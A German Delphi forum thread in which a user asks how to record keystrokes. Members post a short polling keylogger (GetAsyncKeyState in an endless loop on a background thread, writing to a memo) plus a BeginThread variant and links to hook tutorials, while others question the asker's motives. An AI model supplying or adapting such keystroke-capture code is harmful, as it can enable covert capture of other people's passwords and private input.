Autor Beitrag
jackie05
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 357



BeitragVerfasst: Sa 23.08.08 00:07 
Hallo,
ich wollte mal versuchen Tastatur eingaben aufzuzeichnen mit Hook Code oder wie man das nennt.

Wie könnte ich das am einfachsten realisieren, das diese dann in einem Memo Feld gespeichert wird?

Ich bedanke mich schonmal für die Hilfe.

MfG
jaenicke
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 19345
Erhaltene Danke: 1753

W11 x64 (Chrome, Edge)
Delphi 12 Pro, C# (VS 2022), JS/HTML, Java (NB), PHP, Lazarus
BeitragVerfasst: Sa 23.08.08 00:12 
Sowas nennt sich Keylogger und wird entsprechend als Virus bzw. gefährliches Programm erkannt. Wie du sowas machst findest du hier:
www.delphi-forum.de/viewtopic.php?t=15250
wazup
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 101

Windows XP
Delphi 2009
BeitragVerfasst: Sa 23.08.08 06:50 
Ich kanns nicht mal entpacken mekert der AntiVir schon rum :lol:
Hidden
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 2242
Erhaltene Danke: 55

Win10
VS Code, Delphi 2010 Prof.
BeitragVerfasst: Sa 23.08.08 07:19 
Richtig so! Wozu brauchst du das überhaupt :?:

_________________
Centaur spears can block many spells, but no one tries to block if they see that the spell is a certain shade of green. For this purpose it is useful to know some green stunning hexes. (HPMoR)
Timosch
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 1314

Debian Squeeze, Win 7 Prof.
D7 Pers
BeitragVerfasst: Sa 23.08.08 14:03 
user profile iconwazup hat folgendes geschrieben:
Ich kanns nicht mal entpacken mekert der AntiVir schon rum :lol:

Wenn du nicht in der Lage bist, dein Antivirenprogramm zu deaktivieren, solltest du nicht mit dem Gedanken spielen, einen Keylogger zu schreiben. :mrgreen:

_________________
If liberty means anything at all, it means the right to tell people what they do not want to hear. - George Orwell
j.klugmann
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Sa 23.08.08 14:12 
Zitat:
Wenn du nicht in der Lage bist, dein Antivirenprogramm zu deaktivieren, solltest du nicht mit dem Gedanken spielen, einen Keylogger zu schreiben. :mrgreen:

Er hat nur gesagt das AntiVir rummeckert,nicht das er es nicht beheben kann.
Hier gibs ein Tut:http:[url]www.assarbad.net/en/...torials/hooks/[/url]
Boldar
ontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic starofftopic star
Beiträge: 1555
Erhaltene Danke: 70

Win7 Enterprise 64bit, Win XP SP2
Turbo Delphi
BeitragVerfasst: Sa 23.08.08 14:18 
Dass hier ist was simples in der Richtung:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
procedure keylogger;
var i: integer;
begin
  while true do
  begin
    for i := 10 to 200 do
      if boolean(getasynckeystate(i)) then
        form1.memo1.lines.Text :=
        form1.Memo1.lines.Text + char(i);
    sleep(10);
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var tid: cardinal;
begin
  createthread(0,0,@keylogger,nil,0,tid);
end;
j.klugmann
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Sa 23.08.08 14:29 
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
procedure TForm1.FormCreate(Sender: TObject);
var tid: cardinal;
begin
  createthread(0,0,@keylogger,nil,0,tid);
end;

So ist es besser:
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
Procedure TForm1.FormCreate(Sender: TObject);
var tid:cardinal; Thread:THandle;
begin
  Thread:=BeginThread(nil,0,@Keylogger,nil,0,tid);//So wird der Heap thread-sicher!
end;
:mahn:

:)

mfg,j.klugmann
Boldar
ontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic starofftopic star
Beiträge: 1555
Erhaltene Danke: 70

Win7 Enterprise 64bit, Win XP SP2
Turbo Delphi
BeitragVerfasst: Sa 23.08.08 14:58 
Was bringt denn beginthread??
Ich habe davon noch nie was gehört und immer createthread oder Tthread.execute benutzt.
j.klugmann
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Sa 23.08.08 15:22 
Wie ich bereits sagte,es macht den Heap Thread-Sicher.
Eigentlich kapselt BeginThread CreateThread ,aber es setzt zusätzlich die globale
Variable IsMultiThreaded - :wink:
Ich glaub in Assabards Tut ist es auch so.Naja ich habs mir nie richtig angeguckt. :wink:
Robert.Wachtel
ontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic starofftopic star
Beiträge: 895
Erhaltene Danke: 7

Windows 7 Ultimate x64
D5 Ent, D7 Arch, RAD Studio 2010 Pro, VS 2008
BeitragVerfasst: Sa 23.08.08 16:40 
user profile iconTimosch hat folgendes geschrieben:
user profile iconwazup hat folgendes geschrieben:
Ich kanns nicht mal entpacken mekert der AntiVir schon rum :lol:

Wenn du nicht in der Lage bist, dein Antivirenprogramm zu deaktivieren, solltest du nicht mit dem Gedanken spielen, einen Keylogger zu schreiben. :mrgreen:

Das tut er doch auch gar nicht...
Hidden
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 2242
Erhaltene Danke: 55

Win10
VS Code, Delphi 2010 Prof.
BeitragVerfasst: Sa 23.08.08 17:08 
user profile iconRobert.Wachtel hat folgendes geschrieben:
user profile iconTimosch hat folgendes geschrieben:
Wenn du nicht in der Lage bist, dein Antivirenprogramm zu deaktivieren, solltest du nicht mit dem Gedanken spielen, einen Keylogger zu schreiben

Das tut er doch auch gar nicht...

Imho doch:
user profile iconjackie05 hat folgendes geschrieben:
Tastatur eingaben aufzuzeichnen


Ich wiederhole mich mal:

user profile iconHidden hat folgendes geschrieben:
Richtig so! Wozu brauchst du das überhaupt :?:


mfG,

_________________
Centaur spears can block many spells, but no one tries to block if they see that the spell is a certain shade of green. For this purpose it is useful to know some green stunning hexes. (HPMoR)
j.klugmann
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Sa 23.08.08 17:13 
Ich glaub nicht das er was Illegales machen will. :roll:
wazup
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 101

Windows XP
Delphi 2009
BeitragVerfasst: Sa 23.08.08 17:14 
Ich hoff um mich geht es momentan nicht... Ich will nehmlich keinen Programmieren :!:
Falls ich so etwas mache wende ich mich an Freunde um dem "Was willst du damit"-Fragen zu entgehen ^^
Christian S.
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 20451
Erhaltene Danke: 2264

Win 10
C# (VS 2019)
BeitragVerfasst: Sa 23.08.08 17:15 
Ich würde sagen, ihr wartet jetzt erst einmal, was der Fragesteller zu der Sache zu sagen hat. Weitere Postings sind bis dahin nicht sinnvoll. :-)

_________________
Zwei Worte werden Dir im Leben viele Türen öffnen - "ziehen" und "drücken".
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Sa 23.08.08 18:09 
user profile iconHidden hat folgendes geschrieben:
user profile iconRobert.Wachtel hat folgendes geschrieben:
user profile iconTimosch hat folgendes geschrieben:
Wenn du nicht in der Lage bist, dein Antivirenprogramm zu deaktivieren, solltest du nicht mit dem Gedanken spielen, einen Keylogger zu schreiben

Das tut er doch auch gar nicht...

Imho doch:
user profile iconjackie05 hat folgendes geschrieben:
Tastatur eingaben aufzuzeichnen


user profile iconjackie05 <> user profile iconwazup :!:
um weitere Verwirrungen vorzubeugen ;)
Hidden
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 2242
Erhaltene Danke: 55

Win10
VS Code, Delphi 2010 Prof.
BeitragVerfasst: Sa 23.08.08 18:29 
aso :)

Hab garnicht hingesehen, wen Robert.Wachtel zitiert und gedacht es ginge um den Threadsteller^^

_________________
Centaur spears can block many spells, but no one tries to block if they see that the spell is a certain shade of green. For this purpose it is useful to know some green stunning hexes. (HPMoR)